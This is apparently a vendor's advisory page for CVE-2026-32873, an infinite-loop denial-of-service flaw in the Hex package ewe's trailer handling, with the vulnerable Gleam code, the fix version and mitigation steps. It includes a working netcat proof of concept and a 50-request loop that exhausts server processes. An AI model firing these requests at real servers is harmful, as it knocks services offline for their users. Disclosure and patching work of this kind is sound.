NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
💧
💧 Hex
Not in CISA KEV
HIGH severity

CVE-2026-32873 — ewe

HIGHFix: vshakitskiy/ewe@8513de9

CVE-2026-32873 is a high-severity (CVSS 7.5) CWE-825 vulnerability in ewe. A fix is available for ewe — see the affected versions and patch details below.

ewe: Loop with Unreachable Exit Condition ('Infinite Loop')

Also known asGHSA-4w98-xf39-23gp
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32873.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk
0.00%0.38%0.76%1.14%0.0%0.6%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
💧ewe

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Hex packages — download data is not available via public APIs for these ecosystems.

Description

Summary

ewe's handle_trailers function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.

Impact

When handle_trailers (ewe/internal/http1.gleam:493) encounters a trailer that is either not in the declared trailer set or is blocked by is_forbidden_trailer, three code paths (lines 520, 523, 526) recurse with the original buffer rest instead of Buffer(header_rest, 0):

// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)
False -> handle_trailers(req, set, rest)

This causes decoder.decode_packet to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.

Any ewe application that calls ewe.read_body on chunked requests is affected. This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside read_body before control returns to application code.

Proof of Concept

Send a chunked request with a forbidden trailer (host) to trigger the infinite loop:

printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080

This will hang (no response) until the nc timeout. The server-side handler process is stuck forever.

Exhaust server resources with concurrent requests:

for i in $(seq 1 50); do
  printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 &
done

Open the Erlang Observer (observer:start()) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.

Vulnerable Code

All three False/Error branches in handle_trailers have the same bug:

// ewe/internal/http1.gleam, lines 493–531
fn handle_trailers(
  req: Request(BitArray),
  set: Set(String),
  rest: Buffer,
) -> Request(BitArray) {
  case decoder.decode_packet(HttphBin, rest) {
    Ok(Packet(HttpEoh, _)) -> req
    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {
      // ... field name parsing ...
      case field_name {
        Ok(field_name) -> {
          case
            set.contains(set, field_name) && !is_forbidden_trailer(field_name)
          {
            True -> {
              case bit_array.to_string(value) {
                Ok(value) -> {
                  request.set_header(req, field_name, value)
                  |> handle_trailers(set, Buffer(header_rest, 0))  // correct
                }
                Error(Nil) -> handle_trailers(req, set, rest)      // BUG: line 520
              }
            }
            False -> handle_trailers(req, set, rest)               // BUG: line 523
          }
        }
        Error(Nil) -> handle_trailers(req, set, rest)              // BUG: line 526
      }
    }
    _ -> req
  }
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💧Hexewe≥ 0.8.0&&< 3.0.53.0.5mix deps.update ewe

Affected Products

1 product · 1 configurations
Application
ewevshakitskiy
≥ 0.8.0 && < 3.0.5
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ewe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update ewe to 3.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32873 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary ewe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape. ## Impact When `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse
O3 Security · Impact-Aware SCA

Is CVE-2026-32873 in your dependencies?

Find it across Hex, including transitive dependencies.

CVE-2026-32873: ewe — Fixed in 3.0.5